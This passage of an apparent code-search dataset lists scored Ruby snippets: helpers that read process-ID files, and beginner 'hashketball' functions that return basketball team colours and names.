get_unicorn_pid(pid_file=unicorn_pid)\n \"`cat #{pid_file}`\"\n end", "title": "" }, { "docid": "7d061c6fe8b3a650de0d1bd2d148106f", "score": "0.61043704", "text": "def pid_file_for(id)\n return KM_TRANSFER_DIR + '/' + id + '.pid'\n end", "title": "" }, { "docid": "5e343e7a5043e8902bb9413761093570", "score": "0.60925466", "text": "def file_number\n begin\n self.job.file_number\n rescue\n \"\"\n end\n end", "title": "" }, { "docid": "0f2cb88e9b262fc043e18df29cc5ef47", "score": "0.6091098", "text": "def pid\n @pid.pid\n end", "title": "" }, { "docid": "9d4cd41fc13bb3da27e6f1f155a23ab9", "score": "0.6090547", "text": "def fileno\n nil\n end", "title": "" }, { "docid": "e57497591f086d6818ceaadd216931e9", "score": "0.60575587", "text": "def get_rainbows_pid(pid_file=rainbows_pid)\n \"`cat #{pid_file}`\"\n end", "title": "" }, { "docid": "79f4c609a082f82b955a7501ccef6211", "score": "0.60336804", "text": "def get_unicorn_pid(pid_file=unicorn_pid)\n \"`cat #{pid_file}`\"\n end", "title": "" }, { "docid": "06b4e733af31699cbb5fe8622fd622f1", "score": "0.6020582", "text": "def get_pid(proc_name)\n processes = client.sys.process.get_processes\n processes.each do |proc|\n if proc['name'].downcase == proc_name && proc['user'] != \"\"\n return proc['pid']\n end\n end\n return nil\n end", "title": "" }, { "docid": "a4547c9c858100110edebca723dcbd7e", "score": "0.6018371", "text": "def get_unicorn_pid(pid_file=unicorn_pid)\n \"`cat #{pid_file}`\"\n end", "title": "" }, { "docid": "6925c68a95579e8f43e58f116d97663b", "score": "0.6011174", "text": "def pid_uid(pid)\n read_file(\"/proc/#{pid}/status\").to_s\n end", "title": "" }, { "docid": "34208b62ccdaf279424ea1f85316bf93", "score": "0.60070807", "text": "def pid\n Process.pid\n end", "title": "" }, { "docid": "912e6ea1cd7591ab9c9bb5de96aa606b", "score": "0.6002506", "text": "def get_puma_pid(pid_file=puma_pid)\n \"`cat #{pid_file}`\"\n end", "title": "" }, { "docid": "43f2da4c12c64a0a409af4c8ceaae7f9", "score": "0.59880006", "text": "def pid_file(process_number)\n \"/run/lock/shoryuken_#{app['shortname']}-#{process_number}.pid\"\n end", "title": "" }, { "docid": "5fbd310f7dca2318b52ce8b924236bc0", "score": "0.59878623", "text": "def valid_pid?(path)\n wpid = File.read(path).to_i\n wpid <= 0 and return\n Process.kill(0, wpid)\n wpid\n rescue Errno::ESRCH, Errno::ENOENT\n # don't unlink stale pid files, racy without non-portable locking...\n end", "title": "" }, { "docid": "24f5a21e7c554f84b66b1166083bea6c", "score": "0.5975628", "text": "def get_mysqld_pid(instance)\n server = server_for_instance(instance)\n pidfile = server['pid-file']\n return nil unless File.exist?(pidfile)\n Integer(File.open(pidfile, &:readline).strip)\n end", "title": "" }, { "docid": "25567dc42ae9cb15d04b68c65028d80b", "score": "0.59748685", "text": "def extract_call_number(filename)\n filename.split(\"_P00\").first\n end", "title": "" }, { "docid": "237e51ebb6eba4129d82a84379493941", "score": "0.5966818", "text": "def get_unicorn_pid(pid_file=fetch(:unicorn_pid))\n \"`cat #{pid_file}`\"\n end", "title": "" }, { "docid": "30cb172a148a1be5dc26fddf255f7d96", "score": "0.59655327", "text": "def get_real_pid\n raise RuntimeError.new(\"Unsupported platform: get_real_pid\") unless @is_linux\n\n sched_file = \"/proc/#{Process.pid}/sched\"\n pid = Process.pid\n\n if File.exist?(sched_file)\n v = File.open(sched_file, &:readline)\n pid = v.match(/\\d+/).to_s.to_i\n end\n pid\n end", "title": "" }, { "docid": "864204f948d3cfb4bd7c3becebf94d81", "score": "0.59612995", "text": "def pid_file\n \"/var/run/#{new_resource.service_name}.pid\"\n end", "title": "" }, { "docid": "1084806a86ba2c14dd1aab9b58b05b87", "score": "0.596045", "text": "def pid\n Process.pid\n end", "title": "" }, { "docid": "49261571dbedc2604ce86445e08f3d7a", "score": "0.59555113", "text": "def getPostNumber(filename)\n\treturn filename[/^(.+)_/].to_i\nend", "title": "" }, { "docid": "f83278d187f4d784d13dc9b9441e0977", "score": "0.5942675", "text": "def file_id(file_path, params = {})\n params[:fields] = ''\n file_info = file_info file_path, params\n (file_info || {})[:id].to_i\n end", "title": "" }, { "docid": "9b36dd76b4f2364324a8f0c1d0a8e5bf", "score": "0.5940906", "text": "def getPostNumber(filename)\n\treturn filename[/^(.+?)_/].to_i\nend", "title": "" }, { "docid": "3fe3374af7e2cbd6eef332fb62fa65f6", "score": "0.5940446", "text": "def file_uid\n file.uid if file.present?\n end", "title": "" }, { "docid": "d930cb0659701c7bceb188f41caecb28", "score": "0.5929612", "text": "def process_file_path\n\t\t\tFile.join(runtime_directory, \"#{name}.pid\")\n\t\tend", "title": "" }, { "docid": "9d1cfad56ee77d6d2f81cf6b0298123c", "score": "0.59212613", "text": "def pid_file_path\n tamarillo_path.join('monitor.pid')\n end", "title": "" }, { "docid": "7657afde487f0c23e888c7512e2af717", "score": "0.59094733", "text": "def file_number_line file\n %x{wc -l #{file.full_path}}.to_i\n end", "title": "" }, { "docid": "9c1a24885a87278a5515bbd48894a6e1", "score": "0.58854365", "text": "def pidfile\n \"/machines/.#{@machine.name}.pid\"\n end", "title": "" }, { "docid": "fdcf642f59aac471c495eb76e74825fc", "score": "0.5884842", "text": "def running?(path)\n wpid = ::File.read(path).to_i\n return if wpid <= 0\n Process.kill(0, wpid)\n wpid\n rescue Errno::EPERM, Errno::ESRCH, Errno::ENOENT\n # noop\n end", "title": "" }, { "docid": "14c6c7f891dafb79e72f385f788a304e", "score": "0.58749664", "text": "def get_unicorn_pid(pid_file=fetch(:unicorn_pid))\n capture \"cat #{pid_file}\"\n end", "title": "" }, { "docid": "d6659ccbb26059092e182e5ce61a2e3e", "score": "0.58693576", "text": "def pid(*args)\n result = self.info(\"--pid\", *args).collect{ |str| str.scan(REGEX_PID) }\n result.flatten!.compact!\n\n (result.first.strip.to_i rescue -1)\n end", "title": "" }, { "docid": "3b1c97fc6d36c230b0427e8479d9abf2", "score": "0.58351237", "text": "def pid\n return @args[:pid]\n end", "title": "" }, { "docid": "0d4d0c6038f7aa83080387ec543d61f4", "score": "0.58278316", "text": "def inode\n File.lstat(self.to_s).ino\n end", "title": "" } ]
76d97150cf6e3f6c457d6ca83dd3e6fb
puts team_colors("Brooklyn Nets") team_names returns the team names (FAILED 4)
[ { "docid": "c772dd730ede9e9f18d5c42cfd1f9d64", "score": "0.0", "text": "def team_names()\n temp =[]\n game_hash.each do |location, team_data|\n #binding.pry\n temp << team_data[:team_name]\n end\n temp\nend", "title": "" } ]
[ { "docid": "17c92fd64901f7fb51414a4e333626ad", "score": "0.78381556", "text": "def team_colors(team_name)\n found_team = all_team_info(team_name)\n found_team[:colors]\nend", "title": "" }, { "docid": "9368075e5361d732d994ab00d5c4e53c", "score": "0.7677372", "text": "def team_colors(team_name)\n one_team_stats(team_name)[:colors]\nend", "title": "" }, { "docid": "42822547bd84900c41901ea1b0437ee9", "score": "0.7606753", "text": "def team_name\n\t\tcolor + \" \" + number.to_s\n\tend", "title": "" }, { "docid": "f97ab71ff7eb19e2712658583fdda936", "score": "0.75307846", "text": "def team_colors(teamName)\n teamSelect(teamName)[:colors]\n\n end", "title": "" }, { "docid": "3c96ede4dd366d45b8bd90391603b3e7", "score": "0.747336", "text": "def team_colors(arg_team_name)\n infoAboutAsingleTeam = find_a_single_team_based_on_name(arg_team_name)\n infoAboutASingleTeam[1][:colors]\n #the above is the implicit returnand find will always return an array of 2\n #and you can uise the index to find a color \n #if you dont know the index THEN its okay to write an if statement to check if its the index that you are at\n\n binding.pry\nend", "title": "" }, { "docid": "5f3e364fccf3acbd9edc9ba05bd1bedf", "score": "0.745894", "text": "def team_colors (team_name)\n lookup_by_team(team_name)[:colors];\nend", "title": "" }, { "docid": "b6c2b409ac1eec3dcdeafc1bed41af2e", "score": "0.7454924", "text": "def team_colors(team_name)\n game_hash.each do |location, team_data|\n\t\tif team_data[:team_name] == team_name\n\t\t\treturn team_data[:colors]\n\t\tend\n\tend\nend", "title": "" }, { "docid": "bcb99990173e7f57315c13d2a1e15a48", "score": "0.7414694", "text": "def team_colors(team_name)\n\tright_team = nil\n\tgame_hash.each do |home_or_away, data|\n\t\tdata.each do |attribute, value|\n\t\t\tif attribute == :team_name && value == team_name\n\t\t\t\tright_team = home_or_away\n\t\t\tend\n\t\tend\n\tend\n\treturn game_hash[right_team][:colors]\nend", "title": "" }, { "docid": "f0fbbcfb6eeb9a437d88cdb1459ee89f", "score": "0.74119776", "text": "def team_colors(team)\n game_hash.each do |side, value|\n if value[:team_name] == team\n return value[:colors]\n end\n end\n end", "title": "" }, { "docid": "8cb0f447591c254115fafa8c9641b3bd", "score": "0.7391632", "text": "def team_colors(team_name)\n game_hash.each do |home_away, keys|\n if keys[:team_name] == team_name\n return keys[:colors].map(&:capitalize)\n end\n end\nend", "title": "" }, { "docid": "8cb0f447591c254115fafa8c9641b3bd", "score": "0.7391632", "text": "def team_colors(team_name)\n game_hash.each do |home_away, keys|\n if keys[:team_name] == team_name\n return keys[:colors].map(&:capitalize)\n end\n end\nend", "title": "" }, { "docid": "343c47955921b73350e90b71f4a78ad4", "score": "0.73368555", "text": "def team_colors(team_name)\n # returns an array of team colors for team_name\n game_hash.each do |location, team_hash|\n team_hash.each do |team_keys, team_values|\n if team_hash[:team_name] == team_name && team_keys == :colors\n return team_values\n end\n end\n end\n end", "title": "" }, { "docid": "59010a8b9002f0d02c1899bd12f42906", "score": "0.7259351", "text": "def team_colors(team_n)\n game_hash.each do |location, team_data|\n #binding.pry\n if (team_data[:team_name] == team_n)\n return team_data[:colors].split(\", \")\n end\n end\n return nil\nend", "title": "" }, { "docid": "9c89eae6f0182331eb3a75e77e510287", "score": "0.71771497", "text": "def team_colors(team_name)\n if team_name == \"Brooklyn Nets\"\n return game_hash[:home][:colors]\n else\n return game_hash[:away][:colors]\n end \nend", "title": "" }, { "docid": "1c7fcb84a3c118200a89dd0e91131d98", "score": "0.71610767", "text": "def team_colors(team)\n \n data = game_hash\n teams = team_name_stats(data)\n \n teams.each_pair do |team_name, team_hash|\n if team_name == team\n team_hash.each_pair do |team_key, team_value|\n if team_key == :colors\n return team_value\n end\n end\n end\n end\n \n nil \nend", "title": "" }, { "docid": "2af0198985e83f194c9b2bcbcf7da878", "score": "0.7118886", "text": "def team_colors(team_name)\n game_hash.each do |place, team|\n if team[:team_name] == team_name\n return team[:colors]\n end\n end\nend", "title": "" }, { "docid": "bd057cc3016e7f09c8753090f526d34d", "score": "0.71124554", "text": "def team_colors(team_name)\n team_colors = nil\n game_hash.map do |team, team_stats|\n if team_stats[:team_name] == team_name\n team_colors = team_stats[:colors]\n end\n end\n team_colors\nend", "title": "" }, { "docid": "d27368904db49960fff6a544db7096d9", "score": "0.7060304", "text": "def team_colors(name)\n game_hash.each do |location, team_data|\n if team_data[:team_name] == name\n return team_data[:colors]\n end\n end\nend", "title": "" }, { "docid": "a3e09f445d9362de8b6303948bc77445", "score": "0.7005105", "text": "def team_colors (team_name)\n colors = nil\n game_hash.each do |team, all_info_hash|\n if all_info_hash[:team_name] == team_name\n colors = all_info_hash[:colors].flatten\n end\n end\n colors\nend", "title": "" }, { "docid": "b3535577adafbb0a082a3d0282ad3116", "score": "0.6959698", "text": "def team_colors(team_name)\n if team_name == \"Brooklyn Nets\"\n game_hash[:home][:colors]\n else\n game_hash[:away][:colors]\n end\nend", "title": "" }, { "docid": "3d622120dac42f70530eec0c988d3ecf", "score": "0.69297975", "text": "def team_colors(team)\n game_hash.each do |location, team_data|\n if team_data[:team_name] == team\n return team_data[:colors]\n end\n end\nend", "title": "" }, { "docid": "e1ec64ce85b5c06d36bf90f160726434", "score": "0.6902227", "text": "def team_colors(user_team_name)\n game_hash.each do |k, team|\n if team[:team_name] == user_team_name\n return team[:colors]\n end\n end\nend", "title": "" }, { "docid": "caed3754f6f954e275d681020274c90f", "score": "0.6874186", "text": "def team_colors(team, hashketball)\r\n sym = team.to_sym\r\n if hashketball.include?(sym)\r\n hashketball[sym][:colors]\r\n else\r\n \"Try home or away.\"\r\n end\r\nend", "title": "" }, { "docid": "eae557e23322b3c5d9d728165f9034b3", "score": "0.68709165", "text": "def red_team\n teams[2]\n end", "title": "" }, { "docid": "a6c51100885af99b7c956aa714c6890d", "score": "0.68602437", "text": "def team_colors(team_name)\n result = nil\n game_hash.each do |team, about|\n if about[:team_name] == team_name\n result = about[:colors]\n end\n end\n result\nend", "title": "" }, { "docid": "b99e5188f409d6d43f00a15f806d8b37", "score": "0.6855941", "text": "def team_colors(team_name)\n colors = []\n #top level\n game_hash.each do |location, team_data|\n #1st (team name)\n if team_data[:team_name].join == team_name\n #2nd level\n team_data.each do |team_deets, values|\n #colors pair\n if team_deets == :colors\n colors << values\n end\n end\n end\n end\n colors = colors.flatten\nend", "title": "" }, { "docid": "d4b2b749f6e1bd52a91140a40dbaec91", "score": "0.68542373", "text": "def team_colors(t_name)\n game_hash.collect do |key, value|\n value.collect do |key2, value2|\n\n if game_hash[key].values.include?(t_name)\n\n if key2 == :colors\n return value2\n end\n end\n end\n end\n end", "title": "" }, { "docid": "67e7ef4fc5be6de3ec744a06fe8f9336", "score": "0.6843923", "text": "def team_colors(team_name, game)\n return game[:home_team][:team_colors] if game[:home_team][:team_name] == team_name\n return game[:away_team][:team_colors] if game[:away_team][:team_name] == team_name\nend", "title": "" }, { "docid": "60cf103b2e84cc015121c047c261f2db", "score": "0.68141407", "text": "def get_colors( team )\r\n\t\tif @colors_hash.has_key?( team )\r\n\t\t\treturn @colors_hash[team]\r\n\t\telse\r\n\t\t\treturn DEFAULT_COLORS\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "8f4b6f6841ccc206b482dfa2ff20199d", "score": "0.6809583", "text": "def team_colors (team_name)\n answer = nil\n game_hash.collect do |team_key, team_value|\n if team_value[:team_name] == team_name\n answer = team_value[:colors]\n end\n end\n answer\nend", "title": "" }, { "docid": "6a5ff9329d137fa88392bfa6e11e1f66", "score": "0.67882746", "text": "def team_colors(team)\n game_hash.each do |location, attributes|\n if attributes[:team_name] == team\n return attributes[:colors]\n end\n end\nend", "title": "" }, { "docid": "207a0c92866b00760d0813d32bac6f9b", "score": "0.6741753", "text": "def team_colors(team_name)\n \n game_hash.each do |team, attributes|\n attributes.each do |key, value|\n if value == team_name \n return game_hash[team][:colors]\n \n end\n end\n end\n \nend", "title": "" }, { "docid": "2ac66d44b82fd05fda79bde0398411c5", "score": "0.6728623", "text": "def blue_team\n teams[1]\n end", "title": "" }, { "docid": "a46646e84826e245c1bb43420c3374d1", "score": "0.6719692", "text": "def team_colors(team_name)\n team_colors =[]\n \n game_hash.each do |key, value|\n if team_name == value[:team_name]\n team_colors = value[:colors]\n end\n end\n team_colors\nend", "title": "" }, { "docid": "2adfe6cbbf29753d1b9d77a8c308b512", "score": "0.6719521", "text": "def team_colors(team_name)\n team_color = []\n game_hash.find do |team,info|\n if info[:team_name] == team_name\n team_color = info[:colors]\n end\n info[:team_name] == team_name\n end\n team_color\nend", "title": "" }, { "docid": "19b31273b8870729095f0d5539079bcf", "score": "0.6702224", "text": "def team_colors(team_name)\n game_hash.keys.each do |location|\n return game_hash[location][:colors] if game_hash[location][:team_name] == team_name\n end\nend", "title": "" }, { "docid": "673ce6b449f0f8d23ec32c07ff8370e1", "score": "0.66201025", "text": "def team_colors(team_name)\n game_hash.each do |location, team_data|\n if team_data[:team_name] == team_name\n return team_data[:colors].to_a \n end\n end\nend", "title": "" }, { "docid": "7a98e05cd913b0ed740f25a38f16ba3f", "score": "0.66104275", "text": "def team_colors(team_name)\n (game_hash[:home][:team_name] == team_name.to_s) ? team = :home : team = :away\n game_hash[team][:colors]\nend", "title": "" }, { "docid": "1c7b92741efd622ae7814e045516940b", "score": "0.65828145", "text": "def colorNames\n colors = [\"red\", \"orange\", \"yellow\", \"green\", \"mint\", \"navy\", \"light blue\", \"lavender\", \"plum\", \"pink\"]; \n return colors;\n end", "title": "" }, { "docid": "a8e851f796f60d864da870c277aaf6ac", "score": "0.657555", "text": "def team_colors(name_of_team)\n # using .each do |team, random| game_hash[team].each do |name, random| to iterate over each piece of data\n # then, if the name_of_team is equal to random, we'll get a return value of the colors of each team.\n game_hash.each do |team, random|\n game_hash[team].each do |name, random|\n if name_of_team == random\n return game_hash[team][:colors]\n end\n end\n end\nend", "title": "" }, { "docid": "fa5a327055261b9a22856f243d8dd914", "score": "0.6422163", "text": "def list_colors\n color_string = \"\\nThe available colors are \"\n COLORS.each_with_index do |color, index|\n if index%2 == 0\n color_string += \"\\n\"\n end\n color_string += color + \" \"\n end\n puts color_string\n end", "title": "" }, { "docid": "eba9793dadaa48cad381feda1426943d", "score": "0.6419618", "text": "def team_colors(team)\n # PREVIOUS SOLUTION\n # if game_hash[:home][:team_name] == team\n\t# \tteam_colors = game_hash[:home][:colors]\n\t# elsif game_hash[:away][:team_name] == team\n\t# \tteam_colors = game_hash[:away][:colors]\n\t# end\n game_hash.each do |location, team_info_hash|\n # location = :home,:away; players_hash = :team_name, :colors, :players\n return team_info_hash[:colors] if team_info_hash[:team_name] == team\n end\nend", "title": "" }, { "docid": "4d7c48d2e7a24309754f5e010aa05cf6", "score": "0.63590497", "text": "def team_names\n game = Game.find(self.game_id)\n type = self.bet_type\n if over_under?\n return \"#{game.away_team} vs #{game.home_team}\"\n elsif type == \"lay\"\n if game.spread <= 0\n return game.home_team\n else\n return game.away_team\n end\n else\n if game.spread <= 0\n return game.away_team\n else\n return game.home_team\n end\n end\n end", "title": "" }, { "docid": "b7c356f6623befb3481070a9c9c5f2b1", "score": "0.6348131", "text": "def team_colors (team)\n cala=[]\n game_hash.each do|status,information|\n # puts status[0]\n cala=information[:colors] if information[:team_name]==team\n # information.each do |cata,subinfo|\n # puts :team_name[subinfo] if cata==:colors\n # end\n end\n cala\nend", "title": "" }, { "docid": "fe531029bc9a65d0c04f5212ea0222b2", "score": "0.6322074", "text": "def welcome_explainer\n name = \" Legislature Information on Bills and Sponsors \"\n print ColorizedString[\"_/\\\\_\"].white.on_blue \n puts ColorizedString[name.center(name.length)].black.on_white\n print ColorizedString[\"\\\\/\\\\/\"].white.on_blue \n puts ColorizedString[\"(from Open States API v1)\".center(name.length)].white.on_red\nend", "title": "" }, { "docid": "7b09d2128d123f56d8c285171e2e8327", "score": "0.62097967", "text": "def display_colors\n\t\tprint \"\\nColors: \"\n\t\tMastermind::COLORS.each do |color, _color_code|\n\t\t\tunless color == :blank || color == :black || color == :white\n\t\t\t\tcolor_string = color.to_s.capitalize\n\t\t\t\tprint Mastermind::color(\" #{color_string} \", color)\n\t\t\tend\n\t\tend\n\t\tputs \"\\nChoose a color with it's full name or it's first character\"\n\tend", "title": "" }, { "docid": "79b5e1f35aacb78f794c8a618181ee1c", "score": "0.61732894", "text": "def teams\n return ['FFA (Free For All)'] if ffa?\n\n teams = []\n @doc.css('map teams').xpath('./team').each do |t|\n name = localized_sting(t.text)\n min = t.attr('min')\n max = t.attr('max')\n teams << \"<h3 style='color: #{color_to_html(t.attr('color'))}'>#{name} <small style='color: black'>(#{min} - #{max} players)</small></h3>\"\n end\n teams\n end", "title": "" }, { "docid": "3b1f8518de9138b9029235f102610c0d", "score": "0.61477315", "text": "def team_names(hashketball)\r\n puts \"The #{hashketball[:home][:team_name]} welcome the #{hashketball[:away][:team_name]}\"\r\n puts \r\nend", "title": "" }, { "docid": "7a6b4ebc1fb9d0af1ab22b9244492c8f", "score": "0.61248714", "text": "def formatted_teams(array)\n array.map { |team| team.name } * \", \"\n end", "title": "" }, { "docid": "c1d9b2812dccd571bcab4baa19c65d2d", "score": "0.61241996", "text": "def team_names\n [\n game_hash.dig(:home, :team_name),\n game_hash.dig(:away, :team_name)\n ]\nend", "title": "" }, { "docid": "45f380020765eb970c388e9adcf274e1", "score": "0.6053772", "text": "def teams\n return [og, oo, cg, co];\n end", "title": "" }, { "docid": "c2ec7ee35ff8ee88a6fb994ad3742f48", "score": "0.6043326", "text": "def yellow\n colorize(33)\n end", "title": "" }, { "docid": "0b34799bf41bef34da81383f824d7fce", "score": "0.5989973", "text": "def display_rainbow(colors)\n puts \"R: #{colors[4]}, O: #{colors[1]}, Y: #{[5]}, G: #{colors[3]}, B: #{colors[0]}, I: #{colors[2]}, V: #{colors[6]}\"\n puts colors\nend", "title": "" }, { "docid": "e6e715913f493de248033993371273e8", "score": "0.5978093", "text": "def color\n\t\tif name == \"Broken\"\n\t\t\tcolor = \"red\"\n\t\telsif name == \"Needs Attention\"\n\t\t\tcolor = \"orange\"\n\t\telsif name == \"Working\"\n\t\t\tcolor = \"green\"\n\t\telse\n\t\t\tcolor = \"\"\n\t\tend\n\t\treturn color\n end", "title": "" }, { "docid": "6c626c1131569ea432cb64a92f47f67d", "score": "0.59708047", "text": "def team_colors(teamname)\nif game_hash[:home][:team_name] == teamname\n #returns the arrar if team_name matches teamname\n game_hash[:home][:colors]\nelsif game_hash[:away][:team_name] == teamname\n game_hash[:away][:colors]\nend\nend", "title": "" }, { "docid": "5842b1054180fd3e4741de8ad139d4d7", "score": "0.5965988", "text": "def teamName _args\n \"teamName _args;\" \n end", "title": "" }, { "docid": "b25661854e09280b158f8f4fa67bad18", "score": "0.5963631", "text": "def all_team_info(team_name)\n team_info = game_hash.find do |color, team_data|\n team_data[:team_name] == team_name\n end\n team_info[1]\nend", "title": "" }, { "docid": "4ee9dcaafe346574bf0f4a0297a580f5", "score": "0.59633714", "text": "def team_names\n teams = []\n teams << game_hash[:home][:team_name]\n teams << game_hash[:away][:team_name]\n return teams\nend", "title": "" }, { "docid": "bc1472b549bb602f15ff46a54ad1e4c6", "score": "0.5910531", "text": "def team_names()\n result = []\n game_hash.each do |side,team|\n result.push(team[:team_name])\n end\n result\nend", "title": "" }, { "docid": "9b611cbb424d5995268a2194c71f9391", "score": "0.59029657", "text": "def display_board(game_board, guesser)\r\n puts %(Color matches: 1 - #{output_color(' Black ', 1)}; 2 - #{output_color(' Cyan ', 2)}; 3 - #{output_color(' Red ', 3)}; 4 - #{output_color(' Yellow ', 4)}; 5 - #{output_color(' Magenta ', 5)}; 6 - #{output_color(' Blue ', 6)}\r\n Guessing: #{guesser.name}\r\n\r\n ___________________________\r\n | | | | | | | |\r\n | x | #{output_color(game_board.get_game(0, 0))} | #{output_color(game_board.get_game(1, 0))} | #{output_color(game_board.get_game(2, 0))} | #{output_color(game_board.get_game(3, 0))} | #{output_color(game_board.get_game(4, 0))} | #{output_color(game_board.get_game(5, 0))} |\r\n | x | #{output_color(game_board.get_game(0, 1))} | #{output_color(game_board.get_game(1, 1))} | #{output_color(game_board.get_game(2, 1))} | #{output_color(game_board.get_game(3, 1))} | #{output_color(game_board.get_game(4, 1))} | #{output_color(game_board.get_game(5, 1))} |\r\n | x | #{output_color(game_board.get_game(0, 2))} | #{output_color(game_board.get_game(1, 2))} | #{output_color(game_board.get_game(2, 2))} | #{output_color(game_board.get_game(3, 2))} | #{output_color(game_board.get_game(4, 2))} | #{output_color(game_board.get_game(5, 2))} |\r\n | x | #{output_color(game_board.get_game(0, 3))} | #{output_color(game_board.get_game(1, 3))} | #{output_color(game_board.get_game(2, 3))} | #{output_color(game_board.get_game(3, 3))} | #{output_color(game_board.get_game(4, 3))} | #{output_color(game_board.get_game(5, 3))} |\r\n |___|___|___|___|___|___|___|\r\n | #{output_color(game_board.get_game(0,4), 7)} | #{output_color(game_board.get_game(1,4), 7)} | #{output_color(game_board.get_game(2,4), 7)} | #{output_color(game_board.get_game(3,4), 7)} | #{output_color(game_board.get_game(4,4),7)} | #{output_color(game_board.get_game(5,4),7)} |\r\n | #{game_board.get_game(0,5)} | #{game_board.get_game(1,5)} | #{game_board.get_game(2,5)} | #{game_board.get_game(3,5)} | #{game_board.get_game(4,5)} | #{game_board.get_game(5,5)} |\r\n |___|___|___|___|___|___|\r\n)\r\n end", "title": "" }, { "docid": "3ee8004fdfc4516627c8735252ee95d3", "score": "0.5902302", "text": "def std_player_colours\n\t\t[Gosu::Color::RED,\n\t\tGosu::Color::YELLOW,\n\t\tGosu::Color::GREEN,\n\t\tGosu::Color::FUCHSIA]\n\tend", "title": "" }, { "docid": "fdb42646d2ded4fa88d28dece13ddd60", "score": "0.5873616", "text": "def print_colors\n 1.upto(COLORS.size) { |i| print \"#{i} = \" + \" \".color(COLORS[i]) + \" \" }\n print \": \"\nend", "title": "" }, { "docid": "1cce456f14f199981712cf31213585db", "score": "0.58685225", "text": "def formatted_past_teams\n self.past_teams.map { |team| team.name } * \", \"\n end", "title": "" }, { "docid": "79f19dd73dcaf553e7a64a594196ac1c", "score": "0.5864231", "text": "def team_names\n game_hash.map do |team, team_stats|\n team_stats[:team_name]\n end\nend", "title": "" }, { "docid": "6764246e5f275d1179eaa5d0f79933c0", "score": "0.58573264", "text": "def team_names\n game_hash.map do |place, team|\n team[:team_name]\n end\nend", "title": "" }, { "docid": "ab24bcb229ac7f567fc2d7fdc94630e9", "score": "0.5848612", "text": "def getAllTeamNames\n return TestSuite.find_by_sql(\"select DISTINCT teamname from test_suite\");\n end", "title": "" }, { "docid": "38083c2f6c89a8d2c1591b58576a21e4", "score": "0.5848304", "text": "def display_rainbow(color_lists)\n puts \"R: #{color_lists[0]}, O: #{color_lists[1]}, Y: #{color_lists[2]}, G: #{color_lists[3]}, B: #{color_lists[4]}, I: #{color_lists[5]}, V: #{color_lists[6]}\"\nend", "title": "" }, { "docid": "4455daea1a0058b00485931ab4dace79", "score": "0.58430415", "text": "def team_names\n team = []\n game_hash.values.each do |team_info|\n team << team_info[:team_name]\n end\n team\nend", "title": "" }, { "docid": "a2538160bc89b8f613a82a4abc684700", "score": "0.58206016", "text": "def display_rainbow(colors)\n output_string = \"\"\n for i in 0..(colors.length - 1)\n output_string += \"#{colors[i][0].upcase}: #{colors[i]}, \"\n end\n output_string = output_string[0..-3]\n puts output_string\nend", "title": "" }, { "docid": "cd60d8978df219c29635840f4a959f13", "score": "0.5813841", "text": "def display_rainbow(colors)\n puts \"R: #{colors[0]}, O: #{colors[1]}, Y: #{colors[2]}, G: #{colors[3]}, B: #{colors[4]}, I: #{colors[5]}, V: #{colors[6]}\"\nend", "title": "" }, { "docid": "8bab240a656999291e28acfb9ca2d9fe", "score": "0.58100057", "text": "def test_team_name\n assert_equal(\"Glasgow Celgers\",@football_team.team)\n end", "title": "" }, { "docid": "e3e7073face18324cc7543ccbd918c9b", "score": "0.5809742", "text": "def team_names\n game_hash.collect {|home_or_away, stats| team_name = stats[:team_name].to_s}\nend", "title": "" }, { "docid": "2c3f91b119c051689c649392fcdf8d5e", "score": "0.58049875", "text": "def team_names\n names = []\n game_hash.each do | team, attributes|\n names << game_hash[team][:team_name]\n end\n return names\nend", "title": "" }, { "docid": "7dffbab2e4b2927eb28cdd38874e3998", "score": "0.5798895", "text": "def printTeams(teamArray)\n\t\tprintWords = \"\"\n\t\tteamArray.each do |team|\n\t\t\tprintWords << \"Team Name: #{team.name} Email: #{team.email} Lottery Balls: #{team.balls}\\n\"\n\t\tend\n\t\treturn printWords\n\tend", "title": "" }, { "docid": "a06607fc82008aa51142c0d0b72ce36c", "score": "0.5794456", "text": "def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]", "title": "" }, { "docid": "6b2ad124f691f66efcf9304d69f1a26a", "score": "0.5794373", "text": "def map_teams!( line )\r\n TextUtils.map_titles_for!( 'team', line, @known_teams )\r\n end", "title": "" }, { "docid": "6b2ad124f691f66efcf9304d69f1a26a", "score": "0.5794373", "text": "def map_teams!( line )\r\n TextUtils.map_titles_for!( 'team', line, @known_teams )\r\n end", "title": "" }, { "docid": "cd3e1343cf0f0e7750b2016438c64e3a", "score": "0.57803124", "text": "def team_name\n return @team_name\n end", "title": "" }, { "docid": "ad2d79d83be553392c3e615ce95e8674", "score": "0.57679975", "text": "def team_names\n team_name = []\n game_hash.each do |team,info|\n team_name << info[:team_name]\n end\n team_name\nend", "title": "" }, { "docid": "613c8a1a3590fc27f910fd3da7287055", "score": "0.57615936", "text": "def print_colors\n 1.upto(@board.number_of_pegs) { |i| print \"#{i} = \" + \" \".color(COLORS[i]) + \" \" }\n print \": \"\n end", "title": "" }, { "docid": "b1e856709e76f5af3a56e1a1aac998ae", "score": "0.5757933", "text": "def print_colors\n 1.upto(6) { |i| print \"#{i} = \" + \"\\u2b24\".color(COLORS[i]) + \" \" }\n print \": \"\nend", "title": "" }, { "docid": "a236f7264b175076d60d16995d2a4ea4", "score": "0.5756016", "text": "def getTeamNames\n #return TestSuite.\n end", "title": "" }, { "docid": "6e7c953198c85443ab2b013039e7e39d", "score": "0.5754867", "text": "def team_names\n game_hash.collect do |team_key, team_value|\n team_value[:team_name]\n end\nend", "title": "" }, { "docid": "b4c0ef94bea4cbab5501967a23aa7029", "score": "0.57532066", "text": "def team_names\n # built an empty array called teams\n teams = []\n # game_hash.each do |team, random| iterates over the hash to return all of the team_names\n game_hash.each do |team, random|\n teams.push(game_hash[team][:team_name])\n end\n return teams\nend", "title": "" }, { "docid": "51a47d96af0565224e181f18ec51b018", "score": "0.5739007", "text": "def red\n colorize(31)\n end", "title": "" }, { "docid": "12fe595ea3394c353b4d8f44b658a30b", "score": "0.57372034", "text": "def colors(warm, cool)\n puts \"#{warm} is a contrast color to #{cool}\"\nend", "title": "" }, { "docid": "cc679fd56e901025645ed9d064e5f37a", "score": "0.5735399", "text": "def team_names\n game_hash.map do |location, team_data|\n team_data[:team_name]\n end\nend", "title": "" }, { "docid": "cc679fd56e901025645ed9d064e5f37a", "score": "0.5735399", "text": "def team_names\n game_hash.map do |location, team_data|\n team_data[:team_name]\n end\nend", "title": "" }, { "docid": "045ccc12d175297c9b66e407f2d796b6", "score": "0.5720776", "text": "def 